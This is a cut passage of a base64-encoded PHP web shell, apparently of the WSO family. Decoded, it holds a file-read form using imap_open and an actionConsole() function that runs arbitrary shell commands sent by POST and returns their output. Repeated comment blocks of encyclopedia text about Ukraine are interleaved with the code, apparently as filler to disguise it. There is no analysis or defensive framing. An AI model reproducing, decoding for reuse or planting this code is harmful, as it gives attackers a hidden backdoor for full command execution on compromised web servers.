YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCWlmKCR0ZW1wKQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOwoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwp9CgpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCWVjaG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7CgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsKCQlpZihwcmVnX21hdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwMSddLCRtYXRjaCkpCXsKCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsKCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKCQkJCWVjaG8gImRvY3VtZW50Lm1mLmMudmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCWVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsKCQllY2hvICJkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CgkJZWNobyBzdHJsZW4oJHRlbXApLC